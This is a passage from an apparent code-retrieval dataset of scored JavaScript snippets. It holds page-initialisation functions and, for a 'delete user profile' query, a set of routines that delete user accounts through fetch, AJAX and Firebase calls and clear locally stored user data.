plus.webview.currentWebview();\n\tvar indexPageIdParam = self.indexPageId;\n\tvar indexPageUrlParam = self.indexPageUrl;\n\tif(indexPageIdParam && indexPageUrlParam){\n\t\tindexPageId = indexPageIdParam;\n\t\tindexPageUrl = indexPageUrlParam;\n\t}\n}", "title": "" }, { "docid": "07ac9551910fe7385e3b3e4add1c00fd", "score": "0.7060027", "text": "function Init() {\r\n\r\n setState('loading');\r\n\r\n // init preloader - make page invisibel to avoid flickering before webservice has loaded\r\n initPreloader();\r\n\r\n //set up trim functionality\r\n if (typeof (''.trim) != 'function')\r\n String.prototype.trim = function() {\r\n return this.replace(/^\\s+|\\s+$/, '');\r\n };\r\n\r\n //query string update\r\n qrs = document.location.search.replace('?', '');\r\n\r\n if(window&&window.name=='frame_editor') {\r\n return;\r\n }\r\n\r\n deliverTests();\r\n }", "title": "" }, { "docid": "4f0353230bbfb7ef873664c04730863c", "score": "0.7058892", "text": "function init() {\n \n }", "title": "" }, { "docid": "891962c651008146c1b34a456645774a", "score": "0.70573676", "text": "function homepageInit() {\n\tnew AsyncModal({\n\t context: '.home',\n\t trigger: '.work-block',\n\t modalSelector: '#client-modal',\n\t overlay: '.overlay',\n\t closeBtn: '.close-btn',\n\t currentDirectory: '',\n\t title: 'Home',\n\t isPjax: true\n\t});\n\n\tnew AsyncModal({\n\t\tcontext: '.home',\n\t\ttrigger: '.leader-group li',\n\t\tmodalSelector: '#person-modal',\n\t\toverlay: '.overlay',\n\t\tcloseBtn: '.close-btn',\n\t\tcurrentDirectory: '',\n\t\ttitle: 'Home',\n\t\tisPjax: true\n\t});\n\n\tnew FBDS('#value-illustration', '.value', 'entice', 2000, '.hide');\n\n\tnew CustomPagerSlider({\n\t\tslider: '.history-slider', \n\t\tcontrolsContainer: '.manual-pager', \n\t\ttitle: 'h2', \n\t\tpositionClasses: ['positioned offscreen left', 'positioned edge far-left', 'positioned mid-left', 'positioned active', 'positioned mid-right', 'positioned edge far-right', 'positioned offscreen right'], \n\t\thiddenClass: 'offscreen'\n\t});\n\n\tnew ParallaxElement('.chalk-path', {\n\t\tproperty: 'stroke-dashoffset',\n\t\tspeed: 3.05\n\t});\n\n\tnew ScrollManager('#homepage-wrapper .content', {\n\t\tpanel: '.panel',\n\t\tnavigation: '#secondary'\n\t});\n}", "title": "" }, { "docid": "f94203001df7672a28c28c4252314751", "score": "0.7053788", "text": "function init(){\r\n\t\tgetUrlParameters();\r\n\t\tgetAPIKeys();\r\n\t\tbrowserDetect();\r\n\t\tmiscSetup();\r\n\t\tinitCollapse();\r\n\t\tupdateMeasurements();\r\n\t\tbindings();\r\n\t\tsameHeight();\r\n\t\taddCaptions();\r\n\t\tlightboxSetup();\r\n\t\tapplyEllipsis();\r\n\t\trandomBGImage();\r\n\t\tvideoBackgrounds();\r\n\r\n\t\tif(s.windowWidth <= s.breakpoints.xs){ /*[1]*/\r\n\t\t\t$('.wc-mobile-default-collapse').collapse('hide'); \r\n\t\t}\r\n\r\n\t\tif(!s.breakpointChecks.md){ /*[2]*/\r\n\t\t\t$('.wc-mobile-collapse-box').addClass('collapse');\r\n\t\t}\r\n\r\n\t\taddCSS('.wc-lightbox img{max-height:'+Math.floor((s.windowHeight * 0.9)) +'px;}'); /*[3]*/\r\n\r\n\t\tif(s.urlParameters['hc'] === '1'){ /*[4]*/\r\n\t\t\thighContrast();\r\n\t\t}\r\n\r\n\t\t$.publish('dom.newElements'); /*[5]*/\r\n\t}", "title": "" }, { "docid": "f94203001df7672a28c28c4252314751", "score": "0.7053788", "text": "function init(){\r\n\t\tgetUrlParameters();\r\n\t\tgetAPIKeys();\r\n\t\tbrowserDetect();\r\n\t\tmiscSetup();\r\n\t\tinitCollapse();\r\n\t\tupdateMeasurements();\r\n\t\tbindings();\r\n\t\tsameHeight();\r\n\t\taddCaptions();\r\n\t\tlightboxSetup();\r\n\t\tapplyEllipsis();\r\n\t\trandomBGImage();\r\n\t\tvideoBackgrounds();\r\n\r\n\t\tif(s.windowWidth <= s.breakpoints.xs){ /*[1]*/\r\n\t\t\t$('.wc-mobile-default-collapse').collapse('hide'); \r\n\t\t}\r\n\r\n\t\tif(!s.breakpointChecks.md){ /*[2]*/\r\n\t\t\t$('.wc-mobile-collapse-box').addClass('collapse');\r\n\t\t}\r\n\r\n\t\taddCSS('.wc-lightbox img{max-height:'+Math.floor((s.windowHeight * 0.9)) +'px;}'); /*[3]*/\r\n\r\n\t\tif(s.urlParameters['hc'] === '1'){ /*[4]*/\r\n\t\t\thighContrast();\r\n\t\t}\r\n\r\n\t\t$.publish('dom.newElements'); /*[5]*/\r\n\t}", "title": "" }, { "docid": "c681402aab10e2b4eced761292ce47d2", "score": "0.70496714", "text": "function initPage(pageSettings){\n\t\tif(pageSettings.pageTitle){\n\t\t\tdocument.title = pageSettings.pageTitle;\n\t\t}\n\t\tif(pageSettings.bodyTags){\n\t\t\tdocument.body.className += (' ' + pageSettings.bodyTags.join(' '));\n\t\t}\n\t}", "title": "" }, { "docid": "c0a484af4c6d8b3c464c8b65e3aed009", "score": "0.7047032", "text": "function init(xPage) {\n\tglobVar.callFunc=\"init\";\n\tif (testAndLoad(xPage)) {\n\t\tsetTimeout(\"_loaded()\", 500);\n\t}\n\tsetTimeout(\"startMenus()\", 1000);\n}", "title": "" }, { "docid": "57992711631c7863df837f6d05332536", "score": "0.70433366", "text": "function initializePage() {\n\t$('#likeBtn').click(likeBook);\n\t$('#recBtn').click(function(){\n\t\t$(\"#recommendFriendModal\").modal();\n\t})\n\t$('#recommendToFriendSubmit').click(recBookFriend);\n\t$('#likeBtn').click(likeClick);\n\t$('#recBtn').click(recClick);\n\t$('#home').click(homeClick);\n\t$('#liked').click(historyClick);\n\t$('#friends').click(friendsClick);\n\t$('#profile').click(profileClick);\n}", "title": "" }, { "docid": "366058cd830762a3e6405c1ef80d8222", "score": "0.7029206", "text": "function initPage() {\n\n displaydocid = 0;\n\n // Handle links that point to a document\n var queryitems = window.location.search.substr(1).split(\"&\");\n if (queryitems[0].startsWith(\"docid=\")) {\n var docid = parseInt(queryitems[0].substring(6));\n if (docid !== undefined && docid !== NaN) {\n displaydocid = docid;\n }\n }\n}", "title": "" }, { "docid": "fea442979e8f96b71803fed8c536101a", "score": "0.7020122", "text": "function initPageNav() {\n\t// Pass encapsulated actions to each button as data, so that click handler can be abstracted\n\tvar prevAction = function() {if (currPageNum > 0) {loadPageNum(currPageNum-1);}}\n\t$(\"#prevPageButton\").click({action: prevAction}, onPageNavButtonClick);\n\tvar homeAction = function() {loadPageNum(0);}\n\t$(\"#homePageButton\").click({action: homeAction}, onPageNavButtonClick);\n\tvar nextAction = function() {if (currPageNum < pageIds.length-1) {loadPageNum(currPageNum+1);}}\n\t$(\"#nextPageButton\").click({action: nextAction}, onPageNavButtonClick);\n}", "title": "" }, { "docid": "3f2e70c50e5fa99b47d16d07e9804e46", "score": "0.7016044", "text": "function setUpPage(){\n createEventListeners();\n generatePlaceholder();\n}", "title": "" }, { "docid": "0d0433118dd49350b7f7bbbaee9c5466", "score": "0.7015762", "text": "function init() {\n\t\tif ($routeParams.id) {\n\t\t\t$scope.gethomepage($routeParams.id);\n\t\t};\n\t\t$scope.getAllhomepage();\n\t}", "title": "" }, { "docid": "03fd65a764f6da9ca4b77e607292480b", "score": "0.7013978", "text": "function pageReady() {\n legacySupport();\n\n initTeleport();\n initSticky();\n initSelectric();\n initMasks();\n initPopups();\n initAutocompleate();\n initAutoExp();\n initDatepicker();\n initDropzone();\n initSortable();\n initMaps();\n initValidations();\n\n updateSidebarActiveClass();\n closeSidebar();\n }", "title": "" }, { "docid": "9185634e50041d57a256d929b6448159", "score": "0.70124245", "text": "function initializeWebpage() {\n drawGridLines();\n drawGridLines();\n initArray();\n populateGameGrid(gameGrid);\n\n // Add any necessary functionality you need for the Reach portion below here\n }", "title": "" }, { "docid": "20426ecbdb22e18990bc2fa0571f0a8e", "score": "0.7012303", "text": "init() {\r\n\r\n\r\n }", "title": "" }, { "docid": "2552b4b992a887b99ed9df6d5901b7c3", "score": "0.7004354", "text": "function init(){\n\n\n $pages.find('.infos').height(window.innerHeight);\n $pages.find('.circle').css({'width':window.innerHeight/1.8, 'height':window.innerHeight/1.8});\n\n Title.init($pages.find('.title'));\n\n addScrollMagic();\n setScrollTo();\n\n Earth.init();\n\n resize();\n}", "title": "" }, { "docid": "92f040f3ed164eda70d75c86d256c7a1", "score": "0.70029515", "text": "function init() {\n initSections();\n initInventories();\n initActions();\n }", "title": "" }, { "docid": "7668a7a396a2a221e20e64c0ee60f990", "score": "0.69919145", "text": "function initializePage() {\n\tconsole.log(\"Javascript connected!\");\n\t$(\".calnav-prev\").click(depressedButtonPrev);\n\t$(\".calnav-next\").click(depressedButtonNext);\n\t$('.EventList .assignment li').click(detectAssignmentClick);\n\t$('.EventList_B .assignment li').click(detectAssignmentClick);\n\tsetClassColors();\n\n\tmakeCalendar(current_date.getMonth(), current_date.getFullYear());\n}", "title": "" }, { "docid": "28bbfd34f6d32ebb10995a4a451b87ec", "score": "0.69914865", "text": "init() {\n // various custom utilities\n this.utilities();\n // initiate vendor plugins\n this.vendors();\n // setup form validation\n this.validation();\n // setup sidebar slider\n this.sidebar();\n // setup datatables\n this.datatables();\n // init some default ajax settings\n this.ajaxSettings();\n }", "title": "" }, { "docid": "4e278c79e0633da0e60a3de422f39b54", "score": "0.69881", "text": "function init() {\r\n\t\tcacheDOM();\r\n\t\tbindEvents();\r\n\t}", "title": "" }, { "docid": "4e278c79e0633da0e60a3de422f39b54", "score": "0.69881", "text": "function init() {\r\n\t\tcacheDOM();\r\n\t\tbindEvents();\r\n\t}", "title": "" }, { "docid": "4e278c79e0633da0e60a3de422f39b54", "score": "0.69881", "text": "function init() {\r\n\t\tcacheDOM();\r\n\t\tbindEvents();\r\n\t}", "title": "" } ]
2b13e88d5b2d5efe907933fc82bc82a2
DELETE REGULAR USER PROFILE
[ { "docid": "65b780ab0c778997e7f2c7af1c59bfa5", "score": "0.611955", "text": "function deleteAccount(email) {\n\tconsole.log(email);\n\tvar status = confirm(\"This will leads to permanently delete your profile\");\n\tif (status) {\n\t\tvar ajax;\n\t\tif (XMLHttpRequest) {\n\t\t\tajax = new XMLHttpRequest();\n\t\t} else {\n\t\t\tajax = new ActiveXobject(\"Microsoft.XMLHTTP\");\n\t\t}\n\t\tajax.open(\"post\", \"delete-reg-profile\", true);\n\t\tajax.setRequestHeader(\"Content-type\",\n\t\t\t\t\"application/x-www-form-urlencoded\");\n\t\tajax.onreadystatechange = function() {\n\t\t\tif (this.readyState === 4 && this.status === 200) {\n\t\t\t\tconsole.log(\"success\");\n\t\t\t\tif (this.responseText === \"success\") {\n\t\t\t\t\tlocation.href = \"index.html\";\n\t\t\t\t} else if (this.responseText === \"error\") {\n\t\t\t\t\talert(\"Account doesn't exists/server error try again later\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tajax.send(\"email=\" + email);\n\t}\n}", "title": "" } ]
[ { "docid": "bb7fdd1a0fbfad9172df5698b68e2d22", "score": "0.7768167", "text": "deleteProfile() {}", "title": "" }, { "docid": "380257d7b275b158687088d78f297913", "score": "0.7130612", "text": "function deleteUser() {\n fetch(\n `https://serene-basin-92650.herokuapp.com/delet-user/${mystorage.getItem(\n \"id\"\n )}`,\n {\n method: \"GET\",\n body: JSON.stringify(),\n headers: {\n \"Content-type\": \"application/json\",\n },\n }\n )\n .then((res) => res.json())\n .then((data) => {\n console.log(data);\n });\n if (data[\"status_code\"] == 200) {\n alert(\"profile deleted successful\");\n window.location.reload();\n } else {\n alert(\"profile not deleted\");\n }\n}", "title": "" }, { "docid": "c08bdb2d06a6e5fa8437824049170cce", "score": "0.7009244", "text": "function deleteUserProfile(){\n\tconsole.log(\"deleteUserProfile ran \" + userProfileId);\n\tconst settings = {\n\turl: DATABASE_URL + 'userprofile/' + userProfileId,\n\t\tmethod: 'DELETE',\n\t\t\tdataType: 'json',\n\t\t\theaders: {\n\t\t\t\t'Authorization': \"Bearer \"+ AUTHORIZATION_CODE,\n\t\t\t\t'Content-Type': 'application/json'\n\t\t\t},\n\t\t\tsuccess: function(){\n\t\t\t\tconsole.log('success DELETE user');\n\t\t\t\treturn;\n\t\t\t},\n\t\t\terror: console.error('DELETE userprofile error')\t\t\n\t};\n\t$.ajax(settings);\n}", "title": "" }, { "docid": "939567ac45fb3d3e9c54216a4ebde5a3", "score": "0.69166243", "text": "function delete_user() {\n\tvar uri = \"http://localhost:8081/\" + user.accountType + \"s/\" + user.id;\n\tvar xhr = createRequest(\"DELETE\", uri);\n\txhr.onload = function() {\n\t\tif(xhr.status == 400) alert(\"Format Error\");\n\t\telse if(xhr.status != 200) alert(\"Something went wrong :/\");\n\t\telse {\n\t\t\tlocalStorage.removeItem(\"user\");\n\t\t\twindow.location.href = \"/\";\n\t\t}\n\t}\n\txhr.send();\n}", "title": "" }, { "docid": "674c857149f4f6427d264077934eed22", "score": "0.68534374", "text": "deleteProfile() {\n let user = localStorage.getItem('user')\n\n // axios.delete(`https://cors-anywhere.herokuapp.com/bond-movie-api.herokuapp.com/users/${user}`,\n axios.delete(`/users/${user}`,\n {\n headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }\n })\n .then(res => {\n prompt('Type \"Yes\" to confirm deletion')\n })\n .then(res => {\n alert('Account was successfully deleted')\n setUserProf({}); // Change 5 (not 'setState')\n localStorage.removeItem('token');\n localStorage.removeItem('user');\n window.open('/', '_self');\n })\n .catch(e => {\n alert('Account could not be deleted ' + e)\n });\n }", "title": "" }, { "docid": "9e6b1fd5590e1c5636e45440c1e3aa30", "score": "0.68506896", "text": "async function deleteUser(req, res) {\n try {\n let user = req.profile;\n let deletedUser = await user.remove();\n deletedUser.hash_password = undefined;\n deletedUser.salt = undefined;\n res.json(deletedUser);\n }\n catch (err) {\n return res.status(400).json({\n err: dbErrorHandler_1.default.getErrorMessage(err),\n });\n }\n}", "title": "" }, { "docid": "215e4a58595d13840d5990d0ef7c1ef7", "score": "0.68429154", "text": "function deleteUser() {\n UserService.deleteUser(model.userId)\n .then(function (response) {\n console.log(response);\n if (response.status == 200) {\n $location.url('/login');\n }\n }, function (rejection) {\n model.errorMessage = \"Sorry an error was encountered and your profile was not deleted. Please try again\";\n });\n }", "title": "" }, { "docid": "67f64104512382a41efb0936d8aa17d2", "score": "0.6842279", "text": "deleteProfile() {\n // console.log(\"deleteProfile()\");\n return store.delete('CURRENT_PROFILE');\n }", "title": "" }, { "docid": "e5907620d23274973c80b7a5d42df6c5", "score": "0.6840425", "text": "function unregister() {\n\t\t\tUserService\n\t\t\t\t.deleteUser(vm.userId)\n\t\t\t\t.then(\n\t\t\t\t\tfunction(){\n\t\t\t\t\t\t// Take the user to login page on successful deletion\n\t\t\t\t\t\t$rootScope.currentUser = null;\n\t\t\t\t\t\t$location.url(\"/login\");\n\t\t\t\t\t},\n\t\t\t\t\tfunction(){\n\t\t\t\t\t\t// Display failure message\n\t\t\t\t\t\tvm.deleteError = \"Error! \";\n\t\t\t\t\t}\n\t\t\t\t);\n\t\t}", "title": "" }, { "docid": "1f282a937fe87e0a63313b5cb30a6bc1", "score": "0.6764063", "text": "function deleteUser(){\n // ------------ 01. hvis brugernavn/ mail er at finde i localstorage -----------------------------------\n if(localStorage.getItem('brugernavn')){\n\n // -------- 02. Denne instans profile af klassen Profile bruges til at sende en delete request til databasen ved hjælp af HTTP req DELETE\n const option = {\n method: 'DELETE',\n headers: {\n 'Content-Type': 'application/json'\n }, \n body: JSON.stringify(profile), // Konvertere klassen til en json string - det er denne instans der skal fjernes fra DB\n }; \n \n // --------- 03. Her benyttes fetch til at kontakte API og dermed fjerne bruger i DB--------------\n fetch(`http://localhost:4000/profile/${mail}`, option)\n .then(function() {\n console.log(\"ok\"); // Hvis det lykkes console logges ok i browser konsol\n }).catch(function() {\n console.log(\"error\"); // Ellers vil outputtet i browser kontrol være error\n });\n \n // ---------- 04. Her fjernes den information om brugeren gemt i localstorage----------------------\n localStorage.removeItem('brugernavn');\n localStorage.removeItem('fornavn');\n localStorage.removeItem('efternavn');\n localStorage.removeItem('alder');\n localStorage.removeItem('beskrivelse');\n localStorage.removeItem('kodeord');\n \n // ----------- 05. Bruger vidersendes til forside------------------------------\n window.location.href = \"/\";\n };\n}", "title": "" }, { "docid": "e03d11d4c971547fc03445cc48c1a8fc", "score": "0.6754139", "text": "function deleteUser(userData) {\n // Makes sure that currentUser is set before getting messages from the server\n AuthFactory.auth.$onAuthStateChanged(function(currentUser) {\n\n if(currentUser){\n currentUser.getToken().then(function(idToken) {\n return $http({\n method: 'DELETE',\n url: '/profile-edit/delete-user/' + mentorId,\n headers: {\n id_token: idToken\n },\n data: {\n userData: userData\n }\n })\n .then(function(response) {\n getProfiles();\n }),\n function(error) {\n console.log('Error with user DELETE request: ', error);\n };\n });\n }\n });\n }", "title": "" }, { "docid": "2de584ca2dcb85697fa8c379fc08f52e", "score": "0.67270505", "text": "deleteAccount(){\n let userId = firebase.auth().currentUser.uid;\n this.state.user.delete().then(function() {\n console.log('delete user')\n let ref = firebase.database().ref().child('users/'+userId);\n ref.remove();\n this.props.navigation.navigate('ProfilScreen')\n })\n .catch(function(error) {\n // An error happened.\n console.log(error.message)\n alert('Une erreur est apparue. Déconnectez-vous puis reconnectez-vous avant de réessayer')\n });\n }", "title": "" }, { "docid": "363c8602e4150cac568eaf2893e6e928", "score": "0.67012864", "text": "function deleteAccount() {\n const token = sessionStorage.getItem('token')\n\n fetch(`${BASE_URL}/deleteUser`, {\n method: 'DELETE',\n headers: {\n 'x-access-token': token\n }\n })\n .then(resp => {\n logout()\n getKanjiFromDatabase()\n makeModalDisapper('delete-account')\n })\n .catch(err => {\n console.error(err)\n Swal.fire({\n icon: 'error',\n title: 'Account failed to delete error',\n text: 'Failed to delete account. Please try again.'\n })\n })\n}", "title": "" }, { "docid": "c754c40b77b091ba0c334cfedad04b07", "score": "0.6662035", "text": "function remove() {\n // REMOVE FROM DB\n let uid = $rootScope.account.authData.uid;\n $rootScope.db.users.child(uid).remove();\n }", "title": "" }, { "docid": "61eddfe6a3da0bd9f2e6b341543944cf", "score": "0.66485614", "text": "function deleteProfile(api, id) {\n return api_1.DELETE(api, `/profiles/${id}`)\n}", "title": "" }, { "docid": "72fc89638a043d6e8c465461c3c46528", "score": "0.6604264", "text": "function deleteActiveUser(delActiveUser) {\n alert(\"User \" + activeUser.nome + \" (\" + activeUser.numero + \") successfully logged out.\");\n localStorage.removeItem(\"ActiveUser\");\n resetVariables();\n}", "title": "" }, { "docid": "2a8333ad1990e831c921812e852324e4", "score": "0.65790445", "text": "static removeUser() {\n localStorage.removeItem('userInfo');\n }", "title": "" }, { "docid": "ceadc6b772e16c43eb81c6147952229d", "score": "0.6544348", "text": "async destroy({ auth, request, response }) {\n try {\n const profile = await Profile.findBy(\"user_id\", auth.user.id);\n if (!profile) {\n return response\n .status(401)\n .send({ message: \"Nenhum registro localizado\" });\n }\n const fs = Helpers.promisify(require(\"fs\"));\n const img = Helpers.tmpPath(`uploads/${profile.image}`);\n await fs.unlink(img);\n\n await profile.delete();\n return response.status(200).send({ message: \"Perfil excluido!\" });\n } catch (error) {\n return response.status(500).send({\n message: `Ocorreu algum erro ao deletar este perfil.`,\n error: `Erro:${error.message}`\n });\n }\n }", "title": "" }, { "docid": "c653df33d7470d8de340d8fafbcc38b6", "score": "0.65222543", "text": "async function deleteProfile() {\n const resp = await fetch(window.location.origin + '/profiles/delete', {\n method: \"DELETE\",\n mode: \"cors\",\n cache: \"no-cache\",\n credentials: \"same-origin\",\n headers: {\n \"Content-Type\": \"application/json\"\n },\n redirect: \"follow\"\n });\n return resp.json();\n}", "title": "" }, { "docid": "2bc6748197310c71ab8cfe6376e61d39", "score": "0.6509121", "text": "function deleteAccount() {\n\t$.ajax({\n\t\tmethod: \"DELETE\",\n\t\turl: \"/api/deleteAccount/user/\" + sessionStorage.getItem(\"globalUsername\"),\n\t}).done(function (data) {\n\t\tif (data.delete) {\n\t\t\tdeleteToLogin()\n\t\t}\n\t})\n}", "title": "" }, { "docid": "08b2f173ebd27e2de341520a944e3b17", "score": "0.6504165", "text": "function unlink(service, req, res) {\n var user = req.user;\n user[service].token = undefined;\n user.save(function(err) {\n res.redirect('/profile');\n })\n}", "title": "" }, { "docid": "38e4757658c588f2e1847893bf8700fc", "score": "0.65013874", "text": "function removeUser(){\n\tfor(i in currentProject.members){\n\t\tif(currentProject.members[i].name == savedMem){\n\t\t\tfor (j in currentProject.members[i].role) {\n\t\t\t\tdelete currentProject.members[i].name;\n\t\t\t\tdelete currentProject.members[i].role[j];\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t}\n\tdocument.getElementById(\"EditUser\").style.display = \"none\";\n\tpopTable();\n}", "title": "" }, { "docid": "482c618f96c407be19f34b97c6064793", "score": "0.6499612", "text": "deleteProfile({commit}) {\n let userid = firebase.auth().currentUser.uid\n let path = '/users/' + userid\n firebase.database().ref(path).remove()\n commit('setAccount', {\n name: null,\n age: null,\n ap: null,\n fractal: null,\n wvw: null\n })\n }", "title": "" }, { "docid": "f914b47a57e8cfde64e65f0abbc0f9dc", "score": "0.6477248", "text": "function logout() {\n deferredProfile = $q.defer();\n localStorage.removeItem('id_token');\n localStorage.removeItem('profile');\n authManager.unauthenticate();\n userProfile = null;\n }", "title": "" }, { "docid": "86f4006fc07e06c9024a8292a9801270", "score": "0.64570695", "text": "function deleteUserData() {\r\n\tlocalStorage.clear();\r\n}", "title": "" }, { "docid": "dea85b5dad076cf94a98e4a50f4cac9c", "score": "0.6415014", "text": "deleteAccount() {\n // Destroy model + Creator profile\n this.model.user.destroyRecord().then(() => {\n // Delete cognito user.\n this.authentication.deleteCognitoUser();\n this.authentication.logout().then(() => this.router.transitionTo(\"index\"));\n }).catch(() => {\n // Workaround Because of the Ember error about mismatched ids.\n // Forgive me patron saint of prgoramming.\n this.authentication.deleteCognitoUser();\n this.authentication.logout().then(() => this.router.transitionTo(\"index\"));\n });\n this.set('deleteAccountConfirmationShow', false);\n }", "title": "" }, { "docid": "f10f0c41cd3279d4374ec7b5381cc6ff", "score": "0.63971764", "text": "deleteSSUser() {\n\t\treturn new Promise((resolve,reject) => {\n\t\t\tthis.cognitoUser.deleteUser((err,result) => {\n\t\t\t\tif (err) {\n\t\t\t\t\t//console.log(err);\n\t\t\t\t\treject(err);\n\t\t\t\t} else {\n\t\t\t\t\tconsole.log('User deleted');\n\t\t\t\t\tresolve(result);\n\t\t\t\t}\n\t\t\t});\n\t\t});\n\t}", "title": "" }, { "docid": "bab5ad5352c064c7ad9c2e4e3b371fa4", "score": "0.63886887", "text": "function deleteProfile(pid) {\n $.ajax({\n url: _lcarsAPI + \"profiles/\" + pid,\n type: 'DELETE',\n success: function() { populateProfiles(); populateOrchestration(); }\n });\n}", "title": "" }, { "docid": "2ca71ed2f2325fec64dab57c0a789a7c", "score": "0.6380697", "text": "function deleteUser() {\n userService\n .deleteUser(model.userId)\n .then(function() {\n $location.url(\"\");\n });\n }", "title": "" }, { "docid": "a1543c7f13be3493dcc132b8848f57c9", "score": "0.63678277", "text": "async remove() {\n // this function is really just a wrapper around axios\n await axios({\n url: `${BASE_URL}/users/${this.username}`,\n method: \"DELETE\",\n data: {\n token: this.loginToken\n }\n });\n }", "title": "" }, { "docid": "72520994360dc5ba4b2420c05e335602", "score": "0.63341075", "text": "function logout() {\n deferredProfile = $q.defer();\n localStorage.removeItem('id_token');\n localStorage.removeItem('profile');\n authManager.unauthenticate();\n userProfile = null;\n $state.go('login');\n }", "title": "" }, { "docid": "496ef750b6111ddf7525cbb6270fe09c", "score": "0.63264656", "text": "function popProfile(to_delete) {\n\n document.getElementById(\"old_profile\").remove();\n\n}", "title": "" }, { "docid": "7e586938a583a5671c2cd2960f0de9b5", "score": "0.63084435", "text": "function deleteUserDataFromSessionStorage() {\n localStorage.removeItem('userData');\n}", "title": "" }, { "docid": "001109fe43c10cad6c0918957dc5c833", "score": "0.62469465", "text": "deleteAccount() {\n firebase.auth().currentUser.delete().catch(function (error) {\n if (error.code == 'auth/requires-recent-login') {\n // The user's credential is too old. She needs to sign in again.\n firebase.auth().signOut().then(function () {\n // The timeout allows the message to be displayed after the UI has\n // changed to the signed out state.\n setTimeout(function () {\n alert('Please sign in again to delete your account.');\n }, 1);\n });\n }\n });\n }", "title": "" }, { "docid": "1d36cd455b73e494ff28285103471e41", "score": "0.62450665", "text": "function resendConfirmation() {\n vm.resendConfirmationLoading = true;\n new Users(Authentication.user).$delete()\n .then(function (response) {\n vm.removeProfileInitialized = response.message || 'Success.';\n })\n .catch(function (response) {\n vm.removeProfileLoading = false;\n messageCenterService.add(\n 'danger',\n response.message || 'Something went wrong while initializing profile removal, try again.',\n { timeout: 10000 }\n );\n });\n }", "title": "" }, { "docid": "11b6389d8ac6093b561167dcdcf26ac9", "score": "0.6240593", "text": "function deleteUser() {\n UserService\n .deleteUser(userId)\n .success(function () {\n $location.url(\"/login\");\n })\n .error(function (error) {\n \n });\n }", "title": "" }, { "docid": "8440f8a78dbf2bfe4e2e8a42555710ab", "score": "0.61875284", "text": "function deleteAccount() {\n var gebruiker_id = [session.get('gebruiker_id')];\n databaseManager\n .query(\"DELETE FROM gebruiker WHERE ID_GEBRUIKER = (?) \", [gebruiker_id]);\n alert('Uw account is succesvol verwijderd!');\n }", "title": "" }, { "docid": "2620c4b3276c01c750e355d182cb86b2", "score": "0.61873513", "text": "function clearProfile(){\n\tvar num_rows = profileTable.rows.length;\n\tif (num_rows != 1){\n\t\twhile (num_rows > 1) {\n\t\t\tprofileTable.deleteRow(num_rows);\n\t\t\tnum_rows = profileTable.row.length;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "94722b5d743c197d31e7ae382b4f614c", "score": "0.6176721", "text": "function delete_user() {\r\n alertBox.hide();\r\n const username = Utils.getInput();\r\n if(Utils.isEmpty(username))\r\n return;\r\n\r\n fetch('./delete', Utils.postUserParam(username)).then(function(response) {\r\n if(response.status !== 200) {\r\n alertBox.show('No such username!', true);\r\n return;\r\n }\r\n\r\n response.json().then(function(data) {\r\n alertBox.show(data.msg, false);\r\n init_saved(); //updates saved list\r\n });\r\n });\r\n }", "title": "" }, { "docid": "f98a5b7dba3f5ea3ef313aa6943972ba", "score": "0.6137374", "text": "function userAccountDelete(){\n // using delete will return a promise, and it will activate the onDelete function in the firebase.functions\n var user = auth.currentUser;\n user.delete().then(() => {\n\n //user deleted\n }).catch(err => {\n\n //some error happened\n });\n}", "title": "" }, { "docid": "60167c9b9d71e08e66708a4f69d1caf5", "score": "0.6115894", "text": "function removeUser(Email)\n{\n\tbootbox.confirm(\"<div class='text'><b>Por favor introduza o seu código.</b><br><br><br>\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t <div class='form-group'>\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t <input style='width: 300px;' type='password' class='form-control' id='Password'>\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t </div>\", function(result) {\n\n\t\tif(result)\n\t\t{\n\t\t\tchrome.storage.local.get(Email, function (result) {\n\n\t\t\t\tvar pass = CryptoJS.SHA3($('#Password').val());\n\n\t\t\t\tif(_.isEqual(pass, result[Email]))\n\t\t\t\t{\n\t\t\t\t\tbootbox.confirm(\"<div class='text'><b>Utilizador prestes a ser removido. <br><br>Deseja continuar?</b></div>\", function(result) {\n\n\t\t\t\t\t\tif(result)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tchrome.storage.local.remove(Email, function() {\n\n\t\t\t\t\t\t\t\tchrome.storage.local.remove('id-'+Email, function() {});\n\n\t\t\t\t\t\t\t\tbootbox.alert(\"<br><div class='text'><b>Utilizador removido com sucesso</b></div>\");\n\n\t\t\t\t\t\t\t\tgetData();\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tbootbox.alert(\"<br><div class='text'><b>Introduziu um código errado. <br><br>Tente de novo.</b></div>\");\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t});\n}", "title": "" }, { "docid": "4ce8e43466beae2d735899fb6c6a95fd", "score": "0.6103299", "text": "function elimina_account(){\r\n var users = JSON.parse(localStorage.getItem(\"users\") || \"[]\");\r\n var user=JSON.parse(sessionStorage.user);\r\n\r\n for(var i=0;i<users.length;i++){\r\n if(users[i].username == user.username){\r\n users.splice(i, 1);\r\n localStorage.setItem(\"users\", JSON.stringify(users));\r\n elimina_all_prenotazioni();\r\n }\r\n }\r\n}", "title": "" }, { "docid": "0bee9cb51646728cd5d05f8519110fa2", "score": "0.6100673", "text": "deleteProfile(target) {\n if (target.id === 'delete') {\n // Getting id from target hidden input\n const id = target.parentElement.previousElementSibling.dataset.id;\n\n // Converting string 'id' into number for future comparing\n // Removing profiles from local storage\n Store.removeFromLocalStorage(parseInt(id));\n\n // Removing tr from UI\n target.parentElement.parentElement.remove();\n }\n }", "title": "" }, { "docid": "19f844dfdd4b124a7e08d3f5ef3d945c", "score": "0.60974437", "text": "deleteUser(req, res) {\n const { user } = req;\n user.destroy()\n .then(() => this.logout(req, res))\n .catch(err => errorHandler(req, res, err));\n }", "title": "" }, { "docid": "e37ce3f9d3db80168b757d883e535294", "score": "0.6093575", "text": "function _delete(_id) {\n var deferred = Q.defer();\n\n db.users.findById(_id, function (err, user) {\n if (err) 